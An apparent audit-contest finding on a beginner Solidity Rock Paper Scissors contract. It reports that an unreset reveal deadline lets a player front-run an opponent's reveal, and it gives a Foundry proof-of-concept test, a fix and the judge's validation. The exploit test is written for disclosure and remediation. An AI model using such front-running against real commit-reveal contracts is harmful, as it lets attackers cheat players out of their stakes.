Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

game.revealDeadline is not reset, frontrunning revealMove is possible at the 2nd turn or subsequent turns

Summary

game.revealDeadline is not reset in function _determineWinner when game.currentTurn < game.totalTurns. One player can call revealMove immediately after calling the 2nd commitMove when block.timestamp < game.revealDeadline.

Vulnerability Details

  1. playerA create a game by createGameWithEth with 0.01Ether of bet, total 3 turns and 10 minutes of timeoutInterval.

  2. playerA joins this game.

  3. playerB joins this game.

  4. playerA commits a move at the first turn.

  5. playerB commits a move at the first turn. Assume that the current block.timestamp is time0. Then game.revealDeadline = time0 + 10 minutes

  6. playerA reveal the move of the first turn.

  7. palyerB reveal the move of the first turn. Then game goes to the 2nd turn.

  8. playerA commits the 2nd move(Rock) when the current block.timestamp is less than game.revealDeadline.

  9. playerA sends a transaction for revealing the 2nd move when the current block.timestamp is less than game.revealDeadline.

  10. At the same time, playerB sees this transaction in the mempool. playerB commits the 2nd move(Paper) and reveals it. Then playerB wins the 2nd turn.

Impact

Frontrunning revealMove is possible at the 2nd turn or subsequent turns, which causes unfair plays.

Tools Used

Manual Review

Proof Of Concept

forge test --mt testFrontRunRevealing -vvvv

function testFrontRunRevealing() public {
// -------- 1st turn --------
// playerA: create game with 0.01ether
vm.prank(playerA);
gameId = game.createGameWithEth{value: 0.01 ether}(TOTAL_TURNS, TIMEOUT);
// playerB: join game with 0.01ether
vm.prank(playerB);
game.joinGameWithEth{value: 0.01 ether}(gameId);
// playerA: commit move (Rock)
bytes32 saltA = keccak256(abi.encodePacked("salt for player A"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));
vm.prank(playerA);
game.commitMove(gameId, commitA);
// playerB: commit move (Rock)
bytes32 saltB = keccak256(abi.encodePacked("salt for player B"));
bytes32 commitB = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltB));
vm.prank(playerB);
game.commitMove(gameId, commitB);
// playerA: reveal move
vm.prank(playerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
// playerB: reveal move
vm.prank(playerB);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltB);
// Verify game state
uint8 scoreA;
uint8 scoreB;
(
,
,
,
,
,
,
,
,
,
,
,
,
,
scoreA,
scoreB,
) = game.games(gameId);
assertEq(scoreA, 0);
assertEq(scoreB, 0);
// -------- 2nd turn --------
// playerA: commit move (Paper) and reveal this move
commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));
vm.startPrank(playerA);
game.commitMove(gameId, commitA);
// playerA sends a tx for revealing the Rock move. playerB can frontrun it.
// game.revealMove(gameId, uint8(RockPaperScissors.Move.Paper), saltA);
vm.stopPrank();
// playerB sees the revealing tx of playerA, and frontrun it
// playerB: commit move (Paper) and reveal it
commitB = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltB));
vm.startPrank(playerB);
game.commitMove(gameId, commitB);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Paper), saltB);
vm.stopPrank();
// the revealing tx of palyerA is executed at last
vm.startPrank(playerA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
vm.stopPrank();
// Verify game state
(
,
,
,
,
,
,
,
,
,
,
,
,
,
scoreA,
scoreB,
) = game.games(gameId);
assertEq(scoreA, 0);
assertEq(scoreB, 1);
}

Recommendations

The value of game.revealDeadlinemust be reset in function _determineWinner:

function _determineWinner(uint256 _gameId) internal {
...
...
// Reset for next turn or end game
if (game.currentTurn < game.totalTurns) {
// Reset for next turn
game.currentTurn++;
game.commitA = bytes32(0);
game.commitB = bytes32(0);
game.moveA = Move.None;
game.moveB = Move.None;
game.state = GameState.Committed;
// reset game.revealDeadline
game.revealDeadline = 0;
} else {
...
...
}
Updates

Appeal created

m3dython Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game State Manipulation Preventing Opponent Commit

Attack allows a player to reveal their move for the next turn before the opponent commits

m3dython Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game State Manipulation Preventing Opponent Commit

Attack allows a player to reveal their move for the next turn before the opponent commits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.